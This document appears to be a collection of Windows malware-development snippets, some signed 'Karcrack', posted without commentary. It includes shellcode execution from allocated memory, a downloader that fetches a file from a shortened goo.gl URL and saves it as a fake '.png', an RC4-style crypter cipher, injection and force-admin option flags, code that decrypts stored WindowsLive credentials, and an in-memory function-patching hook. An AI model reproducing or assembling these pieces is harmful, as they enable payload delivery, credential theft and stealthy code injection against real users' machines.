bool __declspec(naked) is64(){
	__asm{
		mov eax, fs:[0xC0]
		ret
	}
}

bool Is64(){
	return __readfsdword(0xC0);
}

     xor   eax, eax
     cdq
     xor   edx, [FS:0xC0]
     setnz al
     ret   

PVOID myMem = VirtualAlloc(...);
memcpy(myMem, shellcode_array, sizeof(shellcode_array));
myMem();

include 'win32ax.inc'

main:
    fld tword[b]
    ret
b:  dt -9.2233720368547758075e18
.end main       

using namespace std;
#include <Windows.h>
#include <string>

class API{
public:
    void* (*call)(...);
    API(string dll, string fnc){
        this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
    };
};

#pragma comment(linker, "/ENTRY:main")

#include "invoke.h"

void main(){
    API("URLMON", "URLDownloadToFileA").call(0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
    __asm sub esp, 5*4
    API("KERNEL32","ExitProcess").call(0);
    //__asm sub esp, 4
}

#define SWAP(x,y) {x^=y;y^=x;x^=y;}
/*
*  AUTHOR : Karcrack
*  DATE   : 100113
*  PURPOSE: RC4+ C++ cipher/decipher.
*/
template<unsigned int SIZE, class TYPE> struct myArr{
private:
    TYPE *data;
public:
    operator int(){
        return (int)data;
    }

    myArr& operator=(TYPE* rhs){
        this->data = rhs;
        return *this;
    };

    TYPE& operator[](unsigned int idx){
        return data[idx%SIZE];
    };
};

template <unsigned int KEY_SIZE>class RC4P{
private:
    unsigned int    i,
                    j,
                    size;

    myArr<256, char>     S;
    myArr<KEY_SIZE, char>K;
public:
    RC4P(char S[], char K[], unsigned int size){
        this->S     = S;
        this->K     = K;
        this->size  = size;
    };
    void calculate(char O[]){
        //KSA
        if(S==0 || K==0)
            return;

        j = 0;
        for(i = 0; i<256; i++)
            S[i] = i;

        for(i = 0; i<256; i++){
            j = j + S[i] + K[i];
            SWAP(S[i], S[j])
        };
        //PRGA
        unsigned int x = 0,
                     a,
                     b,
                     c;
        i = 0;
        j = 0;
        while(x<size){
            i++;
            a = S[i];
            j+= a;
            b = S[j];
            S[i] = b;
            S[j] = a;
            c = S[i<<5 ^ j>>3] + S[j<<5 ^ i>>3];
            O[x]^= (S[a+b] + S[c^0xAA]) ^ S[j+b];
            x++;
            i++;
        };
    };
};

#pragma comment(linker, "/ENTRY:main")
#include <Windows.h>
#include "rc4p.cpp"

void main(){
    char* S = (char*)LocalAlloc(GPTR, 256*sizeof(char));
    char K[]= {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};

    char crypt[]= "karcrack";

    RC4P<sizeof(K)> r(S, K, sizeof(crypt));

    r.calculate(crypt);
    r.calculate(crypt);

    LocalFree(S);
}

struct OPTIONS{
private:
    unsigned long* config;
public:
    OPTIONS(unsigned long* config){
        this->config = config;
    }
    bool getOpt(unsigned long index){
        unsigned int    iIdx;
        unsigned long   dwCfg;

        dwCfg   = *(unsigned long*)(this->config + index/(sizeof(unsigned long)*8));
        iIdx    = index%(sizeof(unsigned long)*8);

        return ((dwCfg>>iIdx)&0x1);
    }
};

void main(){
    unsigned long cfg[] = {0xBABA, 0xDEADBEEF};

    OPTIONS o(cfg);

    for(int i = 0; i<64; i++)
        printf("%d", o.getOpt(i));
}

#define INYECT_CODE 0x0
#define MUTEX       0x1
#define FORCE_ADMIN 0x2

void main(){
    OPTIONS o(GetModuleHandle(0));

    if(o.getOpt(INYECT_CODE))
        //Whatever
    if(o.getOpt(MUTEX))
        //Whatever
    if(o.getOpt(FORCE_ADMIN))
        //Whatever
    else
        //Whatever
}

PWCHAR GetDefaultBrowserPathW(){
    #define ASSOCSTR_EXECUTABLE 2
    typedef HRESULT (*AQSW)(DWORD, DWORD, LPCWSTR, LPCWSTR, LPWSTR, DWORD*);
    DWORD	cchPath = MAX_PATH*2;
    PWCHAR	szPath = (PWCHAR)LocalAlloc(LPTR, cchPath);

    ((AQSW)GetProcAddress(LoadLibraryW(L"shlwapi"), "AssocQueryStringW"))(0, ASSOCSTR_EXECUTABLE, L"http", L"open", szPath, &cchPath);

    return szPath;
}

void main(){
    PWCHAR  sPath   = GetDefaultBrowserPathW();
    MessageBoxW(0, sPath, NULL, 0);
    LocalFree(sPath);
    ExitProcess(0);
}

/*#ifndef UNICODE
#define UNICODE
#endif*/

#pragma comment(lib, "crypt32.lib")
#include <Windows.h>
#include <wincred.h>

void main(){
    DWORD       dwCount;
    PCREDENTIAL*Credentials;
    PCREDENTIAL Cred;

    CredEnumerate(TEXT("WindowsLive:name=*"), 0, &dwCount, &Credentials);

    while(dwCount--){
        Cred = Credentials[dwCount];
        MessageBox(0, Cred->UserName, NULL, 0);

        CryptUnprotectData((PDATA_BLOB)Cred->CredentialBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, NULL);
        if (Cred->CredentialBlobSize)
            MessageBox(0, (LPWSTR)Cred->CredentialBlob, NULL, 0);
    }
}

https://www.virustotal.com/file/f5c09361788c76b3ab5e79cc586aebd9f120980e4a93facdbbfdca92e1d1b1c8/analysis/1332799298/

Option Explicit
'KERNEL32
Private Declare Function GetVersion Lib "KERNEL32" () As Long
'SHELL32
Private Declare Function SHGetUserPicturePath Lib "SHELL32" Alias "#261" (ByVal pUserOrPicName As Long, ByVal sguppFlags As Long, ByVal pwszPicPath As Long, ByVal picPathLen As Long) As Long
Private Declare Function xp_SHGetUserPicturePath Lib "SHELL32" Alias "#233" (ByVal pUserOrPicName As Long, ByVal sguppFlags As Long, ByVal pwszPicPath As Long) As Long

Private Const SGUPP_CREATEPICTURESDIR = &H80000000

Public Function LoadUserTile() As IPictureDisp
    Dim sPath   As String
    
    sPath = String$(256, vbNullChar)
    
    Select Case (GetVersion() And &HFF)
        Case 5
            Call xp_SHGetUserPicturePath(0, SGUPP_CREATEPICTURESDIR, StrPtr(sPath))
        Case 6
            Call SHGetUserPicturePath(0, SGUPP_CREATEPICTURESDIR, StrPtr(sPath), 256)
    End Select
    
    sPath = Left$(sPath, InStr(1, sPath, vbNullChar) - 1)
    
    Set LoadUserTile = LoadPicture(sPath)
End Function

Private Sub Form_Load()
    Picture1.Picture = LoadUserTile()
End Sub

Option Explicit

'---------------------------------------------------------------------------------------
' Module    : mPatchFunction
' Author    : Karcrack
' Date      : 27/11/2011
' Purpose   : Patch function with JMP to new addr
'---------------------------------------------------------------------------------------

'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long

Private Const CURRENT_PROCESS = (-1)

Public Function PatchFunction(ByVal pFnc As Long, ByVal pNewFnc As Long, Optional ByVal hProc As Long = CURRENT_PROCESS) As Boolean
    Dim cCode   As Currency
    
    cCode = &HB8& * (0.0001@)                   'mov EAX, imm32
    cCode = cCode + (pNewFnc * 0.0256@)         'imm32
    cCode = cCode + (&HE0FF& * 109951162.7776@) 'jmp EAX
    
    PatchFunction = NtWriteVirtualMemory(hProc, ByVal pFnc&, cCode, &H8, 0&)
End Function

Sub Main()
    Dim pMessageBoxW    As Long
    
    pMessageBoxW = GetProcAddress(LoadLibrary("USER32"), "MessageBoxW")
    
    If PatchFunction(AddressOf MessageBoxW__, pMessageBoxW) Then
        If MessageBoxW__(0, "Did you like the function?", "Karcrack", vbYesNo) = vbYes Then
            Call MessageBoxW__(0, "Glad you liked it", "Karcrack", 0)
        Else
            Call MessageBoxW__(0, "F**k you bastard xD", "Karcrack", 0)
        End If
    End If
End Sub

Public Function MessageBoxW__(ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
    'JMP &MessageBoxW@USER32
End Function

DWORD[DWORD[VarPtrA(arr)] + &HC]

'---------------------------------------------------------------------------------------
' Module    : mMemory
' Author    : Karcrack
' Date      : 20/09/2011
' Purpose   : Work with memory withouth using any API
' History   : 20/09/2011 First cut .....................................................
'---------------------------------------------------------------------------------------

Option Explicit

Private bvHack(0)               As Byte
Private lHackDelta              As Long
Private bInitialized            As Boolean

Public Function Initialize() As Boolean
    On Error GoTo Error_Handle

    bvHack(-1) = bvHack(-1) 'Error check
    lHackDelta = VarPtr(bvHack(0))
    
    Initialize = True
    bInitialized = Initialize
    Exit Function
Error_Handle:
    If Err.Number = 9 Then Debug.Print "Remember to tick 'Remove array boundary check' and compile before using"
    End
End Function

Public Function GetByte(ByVal lPtr As Long) As Byte
    If bInitialized Then GetByte = bvHack(lPtr - lHackDelta)
End Function

Public Function GetWord(ByVal lPtr As Long) As Integer
    If bInitialized Then GetWord = MakeWord(GetByte(lPtr + &H0), GetByte(lPtr + &H1))
End Function

Public Function GetDWord(ByVal lPtr As Long) As Long
    If bInitialized Then GetDWord = MakeDWord(GetWord(lPtr + &H0), GetWord(lPtr + &H2))
End Function

Public Sub PutByte(ByVal lPtr As Long, ByVal bByte As Byte)
    If bInitialized Then bvHack(lPtr - lHackDelta) = bByte
End Sub

Public Sub PutWord(ByVal lPtr As Long, ByVal iWord As Integer)
    If bInitialized Then Call PutByte(lPtr + &H0, iWord And &HFF): Call PutByte(lPtr + &H1, (iWord And &HFF00&) \ &H100)
End Sub

Public Sub PutDWord(ByVal lPtr As Long, ByVal lDWord As Long)
    If bInitialized Then Call PutWord(lPtr + &H0, IIf(lDWord And &H8000&, lDWord Or &HFFFF0000, lDWord And &HFFFF&)): Call PutWord(lPtr + &H2, (lDWord And &HFFFF0000) \ &H10000)
End Sub

Private Function MakeWord(ByVal loByte As Byte, ByVal hiByte As Byte) As Integer '[http://www.xbeat.net/vbspeed/c_MakeWord.htm#MakeWord02]
    If hiByte And &H80 Then
        MakeWord = ((hiByte * &H100&) Or loByte) Or &HFFFF0000
    Else
        MakeWord = (hiByte * &H100) Or loByte
    End If
End Function

Private Function MakeDWord(ByVal LoWord As Integer, ByVal HiWord As Integer) As Long '[http://www.xbeat.net/vbspeed/c_MakeDWord.htm#MakeDWord05]
    MakeDWord = (HiWord * &H10000) Or (LoWord And &HFFFF&)
End Function